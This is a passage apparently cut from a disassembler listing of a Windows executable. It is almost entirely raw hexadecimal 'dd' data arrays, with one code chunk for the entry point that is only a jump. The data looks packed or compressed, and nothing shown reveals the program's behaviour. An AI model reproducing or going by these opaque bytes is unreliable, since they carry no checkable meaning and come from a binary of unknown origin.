		dd 6C209F96h, 0C79AAC81h, 403AE612h, 0F028C200h, 56441C8h
		dd 0EF1C13EAh, 306085CCh, 0B39E8B74h, 2E7E5100h, 4673133Bh
		dd 54261737h, 4808F33Ch, 475900A0h, 65B32429h, 0E49381h
		dd 0D8922A9Fh, 980002F0h, 7BB8F7FBh, 0CDAB6Dh, 7D8D2846h
		dd 52F9614Ch, 0BD138C99h, 7F0E0A8h, 0D0256B5Dh,	0E70C4B8h
		dd 2E6E8518h, 98479138h, 0F51EC499h, 2FF24380h,	295BC18h
		dd 870A7E66h, 0D8C1849Bh, 40C82AAAh, 130F0EC3h,	803E6498h
		dd 5C24EC26h, 18B02C71h, 49CD0D01h, 34DBDA9Eh, 8824203Bh
		dd 0AF0F456Bh, 0E011258Bh, 95493A99h, 80E0B971h, 0FD5D51DCh
		dd 4700EBF8h, 109A44CBh, 0EFA88684h, 4B1998FCh,	5FF020AAh
		dd 9F0ADE95h, 940E6EB9h, 35F3A104h, 0EE4D8F4h, 88F71AA6h
		dd 0DF2F9600h, 0B97F427Ch, 0D0F17805h, 1480DD1Dh, 0A3BFA71h
		dd 296F04F8h, 0C6A5C1D8h, 24207FD0h, 2B6A4FAh, 2DE73A41h
		dd 805F585Bh, 240C02A0h, 267E091Ch, 0E0075F48h,	0F43A51BBh
		dd 0B8002E7Fh, 297E2E81h, 5FF0F50h, 0C9535C59h,	40B33160h
		dd 2C3F1729h, 843A1107h, 3E1529DEh, 60550087h, 786DB580h
		dd 0A544964Bh, 65073471h, 0E3D3A8CAh, 307D9907h, 1B908D8h
		dd 0F11432D0h, 60DD478Ah, 0FC9E614Eh, 0E1A0204Fh, 953A5E6Ah
		dd 709C446Eh, 0D1172D40h
		dd 12A0035h, 54B8126Ch,	2100A87Ch, 305243F7h, 0F96A9EFh
		dd 0ED16895Eh, 3B55D5E0h, 224092Dh, 0A5C0447Dh,	3CFE7F20h
		dd 2FFB6159h, 0CCC677D5h, 62BF542Dh, 0B2886012h, 298A89C1h
		dd 7DDA07DCh, 0D9C16653h, 0C0FE145Ch, 4BE51958h, 0D0A227h
		dd 0C5E90BD1h, 0E88A681Bh, 0C31A3B77h, 0B7D699ADh, 8060C00h
		dd 0ECB56B51h, 781054FDh, 307A00F4h, 0DCE09E02h, 3B7C0326h
		dd 7E86C100h, 89EFFA24h, 25DB1FF6h, 0EC27656Fh,	0A00304B9h
		dd 0B0129308h, 1C20F278h, 0B1B2A5FEh, 10DE0F60h, 1170AB06h
		dd 0CE64D080h, 849BC027h, 2C805DB0h, 18B6A2A6h,	5830E442h
		dd 0A5602871h, 78977520h, 6197FDF5h, 10342786h,	41A1A9BAh
		dd 54D738h, 568E2278h, 5B8AA2h,	0A0CDB164h, 4982EA17h
		dd 5A93E01h, 84399E0Bh,	597430h, 0D72A5AF8h, 715D46CCh
		dd 9A86B109h, 5479C9h, 2EF04441h, 51FAF661h, 0F8126F05h
		dd 9CB4F477h, 840B2DF5h, 0BE1EB864h, 44003E7Ah,	1BE3EA14h
		dd 0F173DBh, 0BA210CD4h, 0EE5238Dh, 2F3A6F10h, 478440h
		dd 7DB4AAC8h, 0C97C74F0h, 0C1BEE24h, 567E9509h,	9ABE4064h
		dd 93001CA4h, 56B839E6h, 4883E3F7h, 0FC869499h,	503BDCDDh
		dd 0CEDF02E9h, 8E9855F3h, 224C050h, 487BC2h, 0BA62EDDDh
		dd 9A329F77h, 0E3743Fh,	5F22BD0Eh, 0FEB5578h, 10D2D121h
		dd 7D2385A0h, 8A002E76h, 0FD47938h, 0E99B39D6h,	13D010FDh
		dd 23ED3941h, 500EE400h, 3B862628h, 0FBB57A03h,	0DE216Bh
		dd 8D42A158h, 1CCF2881h, 0B70FDA00h, 33B83565h,	0A15031E7h
		dd 472E6B80h, 96FE6018h, 11C0D9B6h, 1AF3E763h, 29C500A6h
		dd 7ED46E8h, 44303E16h,	890250B9h, 68593874h, 0EBF0DFC1h
		dd 330F6FA7h, 0E02440FFh, 36D8AE45h, 0FC7000A4h, 59E72E82h
		dd 6800789Ch, 1F81E986h, 0E48327h, 8EEEDD31h, 0B73ED7Bh
		dd 566055F6h, 0CF9FF1A9h, 7C251FD3h, 7DD980D4h,	0EB12CA18h
		dd 8D0A9700h, 8360F528h, 0CED1D2Eh, 30FD0134h, 86552AF8h
		dd 0B2F99990h, 0C18102A9h, 0F2791D20h, 3EB08260h, 1C439905h
		dd 802189A0h, 0D8C3A97Eh, 0C60BB65h, 812FB764h,	0EC1473F8h
		dd 28FFD3h, 75158503h, 3798D98h, 211247B7h, 900E06C9h
		dd 80ED88F0h, 330FC8EAh, 39556071h, 0D424575Fh,	0A0AF4000h
		dd 1099D1Eh, 2D7F0A52h,	2CECBE29h, 0E26F04F9h, 0D91890AAh
		dd 6701906Bh, 0EC5A9241h, 0A440C8BEh, 2EE6FBh, 26A10F99h
		dd 544479ADh, 0B0696A65h, 0A607EE01h, 6C8DAE8h,	8CB91527h
		dd 9B0CE4E2h, 0D9F934B6h, 7C3303Ch, 0F3A5E698h,	0B2BAF9E0h
		dd 6B5430A6h, 9EE5EE51h, 347DD100h, 0AB303FC7h,	79BD00DCh
		dd 1C1E7AC6h, 98CB4383h, 755700E8h, 30A5CA21h, 26C97371h
		dd 8800F160h, 0D7732B5h, 0F0E152CCh, 0ECCF0045h, 8C18B0EAh
		dd 31C0AB71h, 0CDAFC2B6h, 2F5439CBh, 58E6F59Dh,	5CDA9160h
		dd 263CCEF2h, 0EB6F992Ah, 40C67819h, 12381998h,	2FC4629h
		dd 0AC0E5EC0h, 42DB9E20h, 47CF06C1h, 195671E1h,	0A7933Ah
		dd 0E3350452h, 0C86D1EF9h, 0F83AD58h, 0ABC61488h, 3CB4C87Ch
		dd 0EC6654F8h, 0AB740001h, 2E739223h, 0D270469Ah, 88831E02h
		dd 92313285h, 123820CCh, 2C58FB6h, 7ACD747Ch, 404134h
		dd 0AC9091EFh, 0DCF1F27Bh, 480388E3h, 541EECDEh, 3F490051h
		dd 45D8D6BCh, 82F41B25h, 83F02806h, 61A971h, 0C28F491Eh
		dd 0B024F4D4h, 0F835B62Ah, 9F27FD38h, 8805ED8Dh, 0B7C0551Eh
		dd 1DF28986h, 5C28AD3Eh, 227B40EFh, 55C9EB29h, 0B5796260h
		dd 488CB06Fh, 0C0A3C7Fh, 7885DCEh, 0D8F9E76Bh, 92C2A080h
		dd 9915BAh, 0D2BB0F33h,	0D16E28FEh, 21A180FDh, 749E88FDh
		dd 0E667008Bh, 0FA0F83E8h, 1633334Dh, 0D02D1829h, 78841AD8h
		dd 0EE39C071h, 8094E7ABh, 0DDE8CB00h, 8D398B5Bh, 0DFF82613h
		dd 71EF0038h, 2BB7303Ch, 1813Ah, 0E0B03876h, 1A0E9885h
		dd 0D1673433h, 6F429C0Fh, 0E52F71EDh, 6400B4FAh, 0F3481EAEh
		dd 70B917DBh, 0EDC30084h, 0DD5BCCE9h, 0E1E66E3Dh, 0B1B37439h
		dd 49D43014h, 0E73E4334h, 850F0A93h, 0AA023470h, 40EBBCD5h
		dd 2E020Fh, 34723F11h, 0F2B68D66h, 0D82F892Ah, 18F04900h
		dd 0CF1A9557h, 0D4011E93h, 9E4A07B5h, 4381A0DEh, 0F23CDC6Bh
		dd 8A0F8EFFh, 0DBB6A6E9h, 2917341h, 0DC5744CCh,	0C42C6Bh
		dd 0E50580Ch, 4F91A9h, 34EDCFDh, 89DA6674h, 652981EFh
		dd 0C0693525h, 24D14820h, 60EC6445h, 0D0CAE601h, 0CC7BC92Eh
		dd 0C6A00F01h, 50CC12E4h, 3BA1002Ch, 6A180BEDh,	7B29BC96h
		dd 5A0094FAh, 0A577215Dh, 0A21B0003h, 9FFB4C6Fh, 0D90782E5h
		dd 749B9527h, 9131BBC6h, 290F8048h, 0F3718E85h,	208CEF00h
		dd 0F076A888h, 0F28B09Bh, 0F785F513h, 3347ECC0h, 68A0B67Ah
		dd 0B9050C4Ah, 7159BC5Dh, 3500E025h, 0F06490A6h, 0E31400C6h
		dd 95EEE53Eh, 6B018D9Ch, 9A4A9487h, 4980D889h, 0BF1F4E1h
		dd 481F013Ah, 3F82351Ch, 4683AB2Ah, 4FE600F4h, 0DCDAB4B9h
		dd 0CC12C0F7h, 0A8213431h, 0D2C0E6E9h, 415B5816h, 696B0B75h
		dd 858841h, 0C62880C1h,	2515B3A3h, 588D6Dh, 6A51D0C5h
		dd 0FC3D83F3h, 373303FEh, 0D213B373h, 61B767D8h, 7B7D85E2h
		dd 0D52E7E02h, 619D0ECDh, 0A41055ECh, 92F46EE2h, 0A70AE91Dh
		dd 73BABF03h, 0C0D5E83Dh, 0D41C00FEh, 0C221992Bh, 4159B1Fh
		dd 2CC8B3F9h, 1A00DA7Eh, 73C60D72h, 6BBA0494h, 8226337Ch
		dd 89206988h, 18E183E9h, 0C1A871F2h, 1D03BC2Fh,	0D25C6D37h
		dd 1481E85Bh, 1649883h,	0A278938Ch, 0CE0ED67Ch,	514FE860h
		dd 3D1CEC00h, 3BC555A7h, 708329AAh, 5EDF0088h, 0EBE70F76h
		dd 5CBDBE1Ch, 0C0B8DA0Fh, 0AE176675h, 4F58B5B7h, 9ECE9005h
		dd 0E4402EB6h, 18E4E8D3h, 0C43B3829h, 40D825B9h, 7C31A500h
		dd 0B8E72841h, 6DA17418h, 7D3058D1h, 0E96507FCh, 4E8D64DEh
		dd 887201BDh, 80BCFA51h, 0C3172A29h, 1CD499F2h,	419523D1h
		dd 3303936Ah, 0A840E201h, 7CB94284h, 70D91B87h,	0DE79DBF3h
		dd 0B7C10068h, 0F54D078Ah, 2E00FA91h, 0CF03A0F2h, 12E02414h
		dd 0F93C67h, 61A95024h,	0ED014278h, 31AF2D1Fh, 0D84D3068h
		dd 0FD371E0h, 0ED56B28Ch, 3C5383E3h, 0B4E88DF0h, 1832E400h
		dd 0EC068C99h, 0A6E606F9h, 0A86EAE0Eh, 0C491F8F8h, 3B3C0703h
		dd 0AEE5B860h, 0AB7B001Dh, 0F5820AAh, 351D4B18h, 7CC7A91Ch
		dd 0B4CA2E68h, 44FA94h,	1E16435Eh, 6E7CBB7h, 509FCAE0h
		dd 46E26870h, 97008274h, 217E73B6h, 0E9C29Eh, 72D2D981h
		dd 0E8FD2671h, 8225B213h, 0A5234430h, 9DB600CFh, 123057FFh
		dd 8C008F25h, 377D5943h, 0C1CD04Dh, 6BB4741Ah, 33266E89h
		dd 1B041899h, 14C063F3h, 0A0675A74h, 0D2AEE610h, 0FADE0761h
		dd 8C475075h, 0A0B9F46Bh, 18F914h, 0D346D185h, 17F6DC05h
		dd 7336F47h, 168976B5h,	0EF003132h, 18282FB9h, 68F76Bh
		dd 4890AB1Ah, 2E964B30h, 0F336EE03h, 58249D9h, 0D5116CF8h
		dd 8010C7BFh, 0E8BE16D4h, 60C412B8h, 0B488FFD0h, 346600C6h
		dd 8EE9CC8Ch, 5026FC95h, 0A0265FBAh, 55E05267h,	3A26DCh
		dd 46E1F21Bh, 0B99CED85h, 5271BA18h, 33FE6A29h,	50F4F12Dh
		dd 0A2C440FFh, 0B6012473h, 36C78304h, 0AC72711Eh, 0CBD67D00h
		dd 0D3E59C39h, 7C666109h, 7A1B801Eh, 2032722h, 7F3855A1h
		dd 0BCC186A7h, 0F8D083F2h, 0A9EF8B12h, 0E1201E32h, 0A97F06A1h
		dd 0D9BAFF39h, 94014BE6h
		dd 46DD4B9h, 0A0E0208Dh, 0F9122E49h, 7EAC09B6h,	0AF52F098h
		dd 728CB400h, 0AA3A5725h, 32370CB9h, 951B8FAh, 80CC933Bh
		dd 36C4CD4Ah, 13386D0Ah, 37BCBAEh, 0AD56F3C1h, 2FC8229Bh
		dd 804896FEh, 0DF887D0Ch, 0B5D31E0Fh, 0C8E40227h, 0F05A708Ch
		dd 3217A102h, 80F66272h, 55E0D082h, 83BD008Dh, 0CC378D3h
		dd 0B630AE14h, 49683136h, 29A90146h, 0E0340AF2h, 4167DC40h
		dd 0C575426h, 2ED62580h, 187B8F5h, 70234019h, 0F878BED8h
		dd 91005035h, 0F3E1E74Ah, 24FE14EEh, 6CEBEFh, 3253490Eh
		dd 0B7260F03h, 206EC077h, 8C13C63Bh, 3F0B05C9h,	8C42F508h
		dd 6100825Ch, 770487ADh, 4FC268h, 3E23ED69h, 744B243Bh
		dd 0E972E305h, 0E40164EAh, 7D176AE0h, 0B7F05C60h, 4C908B62h
		dd 810058D7h, 8EE61029h, 0B98E1h, 21864301h, 708DC5B4h
		dd 50005091h, 416CA2D2h, 1CC61F18h, 0EB07B944h,	6881428Ah
		dd 8CC07A44h, 399D5D05h, 0F3045682h, 80959B5Eh,	6A667824h
		dd 3CCEB0C1h, 2C616D72h, 140B09E0h, 88521615h, 3B05C2Ch
		dd 74AFE1C7h, 6E50C8C4h, 0C040E54Bh, 0EE5E21C6h, 0A68F050Bh
		dd 42DDD56Bh, 791633DCh, 0B0024C6h, 670FB121h, 77DBF563h
		dd 0C74D00CAh, 4B7A6A1Ch, 0E248B322h, 915D0970h, 7688984Fh
		dd 0F7C30040h, 0A3B94639h, 4807D943h, 662E1E33h, 2039DF47h
		dd 32BEEF04h, 11596EECh, 8880D814h, 1595C3BCh, 2F0935F2h
		dd 86857134h, 7EA1DA3Fh, 0E0589046h, 44697CDBh,	14F0242Fh
		dd 641BC607h, 0EBB0663Eh, 56ACD4Dh, 8EB39E69h, 1E7C308Ch
		dd 2DEF747Ch, 18EC0180h, 9425879Ch, 0F473E080h,	64353297h
		dd 0E802A9D6h, 0A068075Ch, 0D350A224h, 11316089h, 0C4A38626h
		dd 0DA0D7C00h, 65ACD81Ah, 0B95501A8h, 6F42E9E5h, 78518AE3h
		dd 2301C03Eh, 0FC55A204h, 21C6EC31h, 622F6BF6h,	6F4C7A3Ch
		dd 0B41F80F4h, 992FBC0h, 0F169890Fh, 70447589h,	0F4A68503h
		dd 0CC746E8Ah, 200074F2h, 1233B66Ch, 59794186h,	0C3AC48F5h
		dd 0A7B293A0h, 98DCDE3Ch, 5F39E933h, 0E40E7589h, 72B75EDh
		dd 34DB8280h, 0C399C77Dh, 33F18579h, 37F048EEh,	1DD8E95Ch
		dd 61B0B61Bh, 0DDA6CCh,	1EEFFA9Dh, 75311DA0h, 798B740Fh
		dd 0F82540E6h, 90725680h, 37D30CC4h, 33F09A4Eh,	0D8311828h
		dd 0F9671C08h, 0C0299E6Fh, 2BAA6BF8h, 9E0178CDh, 0D12508EEh
		dd 4CFADAE3h, 24B14D38h, 0EC155801h, 32F81426h,	515900A4h
		dd 1C76ACB2h, 0E2E8001Dh, 181DF65h, 200144EDh, 0B87B0DB6h
		dd 80917833h, 0B50E00BBh, 57C3E6ECh, 0AD7A0027h, 189AF711h
		dd 5FEEC538h, 3337BA09h, 0DA2030E8h, 0D57C5CAEh, 0B9ECC70Eh
		dd 82B33C5h, 0DF826CFCh, 0E141822Ah, 3423D74Dh,	0E040800h
		dd 1CEFD3E3h, 6D54A718h, 2E7459h, 341D1650h, 8FC0CDC2h
		dd 6B40E806h, 1341D3D6h, 943DBE3h, 2C048260h, 0C0A8502Ch
		dd 3DDEBCE1h, 559A0016h, 7B6DC9F5h, 2CF26698h, 0ED6F2413h
		dd 90002825h, 26156E5Bh, 0E9634555h, 38EAF0FCh,	6CE70900h
		dd 8678C60Ah, 7FBE0120h, 0EC8CF24h, 42EE4243h, 0E096F480h
		dd 0DA0F8866h, 0E16C160Dh, 0F83B6F41h, 0B3D04Ch, 0C35D1E73h
		dd 0FFB6CB9Fh, 0B030F012h, 0F7F38700h, 8C609h, 1BE51F60h
		dd 286B4EBEh, 7B0B709Bh, 0D9709801h, 0EF5A26B3h, 408A0288h
		dd 90E4E96Fh, 0A87B8630h, 3062B680h, 0B0195771h, 0E800B3AFh
		dd 0F2FB14DFh, 1263028Fh, 88AA531Fh, 541F937Ch,	0F000BB5Ch
		dd 718B7CD4h, 0BD19789Ch, 20F2BC61h, 4C91ED67h,	0B68FEE00h
		dd 721B3F05h, 0C6B002E2h, 73830910h, 217E0C40h,	7C17C03Ch
		dd 0E6274C00h, 0F68F8B6h, 7C581216h, 1A1CD00Eh,	6438D8F5h
		dd 448E8346h, 883CE5F7h, 5B4E853h, 31B391C9h, 0F9F08871h
		dd 0F8D7500h, 697B6AB1h, 85740004h, 2A3EA3FEh, 2913E214h
		dd 20084E5Fh, 71E806Ch,	6B8FB4BBh, 384A2A5Bh, 0EC01E471h
		dd 9A804D52h, 0E407A041h, 0F29EA81h, 60D3AFE7h,	68270554h
		dd 303C292Fh, 307B9218h, 0E569B5F9h, 3002B99Bh,	0E785FBCAh
		dd 0F8D0E64Eh, 40940023h, 6B48210Ah, 860FF1E4h,	0A0A7153Ah
		dd 0FBAE5711h, 6C530639h, 39AFD16Fh, 0BCC12E12h, 85528300h
		dd 16A4A53Bh, 2089FB5Bh, 26546E7Ch, 420EAD00h, 0E0CF2B74h
		dd 6FE200BDh, 0D8C160FEh, 6899D686h, 8BD02D80h,	1E654BE5h
		dd 81255859h, 6FC62880h, 0D13C50EEh, 3516471Eh,	0A0905544h
		dd 1E089E8Bh, 0BB81F27Bh, 467800FDh, 0E321AA5Ch, 89670FEh
		dd 0DBD38C80h, 2CCEA4h,	0FB3566DDh, 7BBE15D7h, 0EE6A2A02h
		dd 409E60CAh, 4F75CC8h,	687DB69Ch, 0F0ECC92Eh, 8C263F7Ch
		dd 521361E4h, 2816A402h, 0B6DC80F6h, 13C5179h, 43E355CAh
		dd 506A5874h, 21141BC4h, 82FDC405h, 0A081EF28h,	71D2C2E4h
		dd 7F803EE0h, 5865F5F7h, 9B0093DDh, 32E3E72h, 68D494h
		dd 21E9C8BAh, 98491AD2h, 8604F090h, 0B2F89BEFh,	6077D647h
		dd 1F14F503h, 0A40FC172h, 0E0C89D2Eh, 0EE2444C0h, 0D5932465h
		dd 2D376060h, 0DA00D497h, 7EF1DDFCh, 165543h, 0BA2377F3h
		dd 7645D153h, 69B67411h, 1261700h, 0E3E9B9FDh, 5138C900h
		dd 0FED7C19h, 243F0EE6h, 0A8AC7B8Ch, 3CB0CBE8h,	0DF03AC80h
		dd 1E31D500h, 64441170h, 0D0283783h, 77B530C8h,	68900172h
		dd 0B4715544h, 51BB8090h, 7C2EC8A7h, 0F5F87B0Fh, 0D02AA003h
		dd 1315243Dh, 18D1613h,	0D580F384h, 2A908232h, 0E454653Bh
		dd 91AF0090h, 0E5F4E8D9h, 930217DCh, 1BB8141Eh,	3F342E1h
		dd 0A585E7D0h, 0E909D4C0h, 0BC4E4C88h, 0A8731318h, 0E0BC2597h
		dd 5E2A0340h, 3A2E00ABh, 4DB8752Bh, 0C09D639h, 90549FEAh
		dd 0B29DE8h, 5AC4A2E9h,	0E8D599E3h, 3AFFA300h, 0AF0849BDh
		dd 6F433D7Fh, 5D800CD9h, 1E7C0DEBh, 0FA58CD16h,	20AF9827h
		dd 514136F1h, 182F828h,	6100EF5h, 20AC5854h, 7B14B400h
		dd 58DBEF1Eh, 88E80178h, 968A4A6h, 0B5D11082h, 6040902Bh
		dd 0C61B8283h, 0A0F0367Bh, 98664C9Ch, 20294A9Ch, 188EB20Ch
		dd 0CAE5F100h, 2D7659DDh, 70020069h, 4316641Eh,	207B6BBDh
		dd 0BC554288h, 5B7580D0h, 0D61D0443h, 0D923C501h, 898F7339h
		dd 3180A371h, 2E62C3C2h, 0B9008DAEh, 82C9C43Dh,	527E3E67h
		dd 8A078C0Eh, 91F18DC7h, 806F5471h, 8F843261h, 0E5148DDh
		dd 0F7A7E903h, 0F8D7405Dh, 49E4CABh, 917CB72Fh,	50C02728h
		dd 0A5770528h, 0A3C3CCh, 0FE9CE9F0h, 98B69AFDh,	0C5F37440h
		dd 0FAD22758h, 0A4BC3090h, 0BFE1B700h, 0EAD5DA69h, 1167AF0h
		dd 448462A7h, 8A890501h, 3CDA9850h, 97486580h, 0B4725D1h
		dd 0E5C8D9C3h, 32E7D401h, 70851535h, 26B5DC04h,	415DF8C2h
		dd 0DC45CE94h, 28C84016h, 8ED700F9h, 8477DB72h,	8CEA8243h
		dd 19E0917h, 29D0000Ch,	0B8894C78h, 40E6B80h, 0F2016CF1h
		dd 12F7FFC6h, 61DEE468h, 4C105598h, 47F61EF0h, 0A2384F1Fh
		dd 0C0B3874Eh, 1AB7B5D8h, 486FAA6h, 8C0C053Fh, 0D2589188h
		dd 0CF08D0E8h, 0ED0F5098h, 41C65517h, 0B75E74F6h, 7407E194h
		dd 562ECA03h, 7698E1DCh, 0FF00D12Ch, 5A97ADB1h,	0F8165Bh
		dd 0E515E478h, 906510A5h, 9C175C9Ch, 8F6AF408h,	0E3007932h
		dd 0FFD6377Eh, 9119BD60h, 0E28085DCh, 0FB0601F2h, 63C5B1A2h
		dd 0FA3D30A7h, 0D2680112h, 5F2B64CCh, 0E58C4089h, 0A791ED34h
		dd 0ECE0E6F4h, 76027509h, 18446Ah, 52580CC8h, 198F06DFh
		dd 44864A00h, 0F52E9FC9h
		dd 0BB8A0228h, 0A3E66F39h, 6C82ACA9h, 9880791Bh, 88E4A052h
		dd 9E66C201h, 0D56BF677h, 0F918A022h, 0B055C96Eh, 8800CEB0h
		dd 8A6F1971h, 17B63E1Dh, 7992FBh, 0E40F7ECCh, 72F79382h
		dd 87F4030Ch, 0E88A3710h, 9548A0E9h, 9CE79080h,	0F84C85CCh
		dd 95C181E8h, 7CC8FBFEh, 28595874h, 84685489h, 0F4011698h
		dd 0C928587Ah, 8468E56Fh, 0DC98C88Bh, 0B9004D3Bh, 8A9039E7h
		dd 17914ABh, 0E995EEDAh, 4209DD75h, 0C4E17FD4h,	390EDDA2h
		dd 383AE0h, 4FFF9EEDh, 0E2E180h, 0A97BA44Bh, 298D237Ch
		dd 9D0C348h, 1FF89B7h, 19BB9990h, 0DB125006h, 94041062h
		dd 44C2FBEDh, 0A4FA242Bh, 1503DE58h, 60BF5ED6h,	6B82D088h
		dd 0C09848DCh, 0BA22A44Ch, 81DB300h, 7F6B1364h,	0F0FC1C63h
		dd 9A784F7Bh, 6932B5C2h, 1F17D879h, 5033AC00h, 17BE13ECh
		dd 30C60651h, 6BDD7088h, 6EC73C00h, 0EA45108Ch,	0D6B60011h
		dd 0F3902A44h, 21054A8Fh, 869B17D0h, 1F77F8C3h,	1A685CD8h
		dd 98514928h, 41072717h, 6F8048CAh, 3EA3CBh, 616B370h
		dd 81A99624h, 8C6BE303h, 0E1329CEFh, 0B8600E76h, 0F1DC2568h
		dd 0DAC0BCC3h, 54618AE8h, 3B31D110h, 0B9EAD860h, 0D8D780B0h
		dd 7034C219h, 0A0722100h, 0F1451C0Bh, 0FBC82F28h, 0A26DCDC0h
		dd 236A0100h, 0A44FD94Bh, 0A4D7776Bh, 7D6E44C0h, 824A9900h
		dd 0F1FF111Fh, 0B070094h, 868562F8h, 96485969h,	9E730110h
		dd 0A956A199h, 279420h,	4A0EBFAh, 0FC2AF739h, 82694C96h
		dd 0C0011954h, 11701FF8h, 6F5430h, 0DDF8E463h, 98AD874h
		dd 40E64FE8h, 5A68588Ch, 0C31D7C98h, 9107828Dh,	0B7C289E7h
		dd 608F16Ch, 5EED7AD1h,	7625923Ch, 0B89D1C28h, 0A46C3718h
		dd 34755A0h, 88847252h,	86808D85h, 0FA65CF28h, 2809B668h
		dd 7D30408Ch, 20BD4BACh, 4EE476A4h, 0E3FF7318h,	0C0611ECEh
		dd 0E22D0B28h, 0E788B1F8h, 0C18D011Ah, 5856E850h, 865CD460h
		dd 0D7687712h, 0B8755488h, 827C12F7h, 72240697h, 215089Bh
		dd 3C7B94h, 0E375A718h,	92C97408h, 9B8305B0h, 0B4216BCAh
		dd 8C2542A0h, 16946589h, 0CF48C8C6h, 2EEFFC1Fh,	0F281CC1Eh
		dd 5C9A561Dh, 3048720h,	0CD0941B6h, 0F5C9E883h,	50172B8Ch
		dd 0EC406001h, 0E0400626h, 9E77FE2Eh, 64B86CECh, 8DD1EC05h
		dd 12FCCA2h, 0B6FFFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5479D0:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54AF39
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 548DF500h, 0
		dd 11111100h, 4001E811h, 26571A00h, 67h, 4E6D1B00h, 5 dup(0)
		dd 699600h, 4 dup(0)
		dd 0F7EBB300h, 77h, 0
		dd 794D0A00h, 0
		dd 0E7444D00h, 5811D804h, 2 dup(0)
		dd 0FF504800h, 9, 2 dup(0)
		dd 749800h, 0Eh	dup(0)
		dd 0E7AC5E00h, 77h, 4 dup(0)
		dd 0E8000h, 9206A600h, 0A4h, 0
		dd 0A400h, 2 dup(0)
		dd 24242400h, 24h, 3D239F00h, 0E9h, 1FCFC00h, 80h, 4 dup(0)
		dd 169A00h, 0B2h dup(0)
		dd 100h, 1Fh dup(0)
		dd 10100h, 0
		dd 54B54200h, 2	dup(0)
		dd 54002300h, 5	dup(0)
		dd 0DC4400h, 0
		dd 0A37FD800h, 1F92FD00h, 0FE030419h, 7Fh, 7 dup(0)
		dd 0FEF20400h, 1A49E429h, 6Eh, 0
		dd 9EC00h, 0
		dd 683C00h, 0E8279400h,	245077h, 3 dup(0)
		dd 5E962300h, 0FFh, 13h	dup(0)
		dd 1FFB000h, 2,	0
		dd 0A4A41200h, 0FFh, 2 dup(0)
		dd 5CF4D100h, 0
		dd 0C530DF00h, 0A9h, 2 dup(0)
		dd 1857C900h, 88h, 5872EE00h, 2	dup(0)
		dd 0A00FE600h, 5 dup(0)
		dd 5BDD4000h, 0
		dd 0FCF44100h, 0Bh, 0
		dd 2A00h, 3 dup(0)
		dd 0A16CB000h, 2 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 0A19C3700h, 3 dup(0)
		dd 6C00h, 2 dup(0)
		dd 0E7796300h, 77h, 3 dup(0)
		dd 59D57100h, 4	dup(0)
		dd 12FF6000h, 13A800h, 5 dup(0)
		dd 0A26CF900h, 2Fh, 0
		dd 0A0003E00h, 84968F00h, 8Ch, 0C4DDB800h, 9F6CE1CBh, 80h
		dd 17h dup(0)
		dd 1FFB000h, 102h, 100h, 1FFB000h, 2, 0
		dd 5829F300h, 4	dup(0)
		dd 0A0B16800h, 6 dup(0)
		dd 0E793EF00h, 77h, 0
		dd 0FE030400h, 0A373167Fh, 0
		dd 58F47E00h, 2	dup(0)
		dd 892C4D00h, 15h, 38A96100h, 0FCh, 57BAA900h, 816A3000h
		dd 3Dh,	0A1939300h, 2 dup(0)
		dd 5BAA7F00h, 0Dh dup(0)
		dd 699600h, 0FE030400h,	0FBF8EB7Fh, 0A000h, 0
		dd 0E7C48600h, 0E82FE877h, 77h,	0FE030400h, 0A8D9657Fh
		dd 0FFh, 0
		dd 5E6DCC00h, 0FFh, 0
		dd 597F5D00h, 32h, 11h dup(0)
		dd 0A1A00F00h, 0
		dd 59000000h, 2	dup(0)
		dd 0A1A00F00h, 0AFB1CA00h, 2 dup(0)
		dd 0E1000000h, 0FF74ED9Ah, 0FFh, 0A169DD00h, 15h dup(0)
		dd 580B8000h, 3	dup(0)
		dd 0B8E1E900h, 5811D834h, 0CC69CA00h, 56B7D5B9h, 80h, 57ACC600h
		dd 0
		dd 40000000h, 4	dup(0)
		dd 5BCBD600h, 0
		dd 0FF97DC00h, 0FFh, 0
		dd 0A1923400h, 3 dup(0)
		dd 0FE00A400h, 7Fh, 5E962300h, 0FFh, 3 dup(0)
		dd 0A1A03700h, 2 dup(0)
		dd 200h, 57269B00h, 5 dup(0)
		dd 5484A900h, 11D800h, 3 dup(0)
		dd 0FE030400h, 7Fh, 5811D800h, 0Bh dup(0)
		dd 78FC7800h, 0FFFFA0AEh, 0FFh,	3 dup(0)
		dd 0A169DD00h, 4 dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 8B91B00h, 56h, 3 dup(0)
		dd 5C000000h, 47772C02h, 50h, 76CA3F00h, 31h, 0
		dd 98DD200h, 0A1FA56FFh, 0Ah dup(0)
		dd 0A1949900h, 8F17B100h, 4, 4 dup(0)
		dd 1D091500h, 57269B3Ch, 0DA4B600h, 8B00009Ch, 2, 2 dup(0)
		dd 0E7C78500h, 30DF77h,	3EE400h, 51DBA200h, 59FE994Dh
		dd 5A092000h, 1DE58600h, 0Eh, 4	dup(0)
		dd 0E75CB500h, 77h, 9 dup(0)
		dd 0FF74ED00h, 0FFh, 111000h, 0F5000000h, 77h, 63h dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0FE030400h, 7Fh, 9 dup(0)
		dd 0E0F05500h, 0F8BFD2E9h, 5811D83Bh, 0Dh dup(0)
		dd 57B5A000h, 59FFFE00h, 3 dup(0)
		dd 548E0900h, 187E9500h, 1Bh, 0
		dd 0B27FFE00h, 4 dup(0)
		dd 2C08F100h, 99h, 6 dup(0)
		dd 0A169DD00h, 0
		dd 699600h, 4 dup(0)
		dd 0F4C00h, 54BCD300h, 0
		dd 0A71D1600h, 0FFh, 7 dup(0)
		dd 100h, 0
		dd 5BEED700h, 8	dup(0)
		dd 59FE9900h, 4	dup(0)
		dd 0F1FFB000h, 1, 5 dup(0)
		dd 0FDFB00h, 6 dup(0)
		dd 4DF00000h, 2	dup(0)
		dd offset dword_564300
		dd 6 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 0A18C0A00h, 0
		dd 580B8000h, 5	dup(0)
		dd 0A7980600h, 0FFh, 5912DD00h,	7 dup(0)
		dd 4A6CD800h, 0A37FD802h, 3 dup(0)
		dd 0D310F500h, 1D4000B7h, 3 dup(0)
		dd 59428100h, 0B41B4000h, 76h, 0C530DF00h, 0A9h, 0
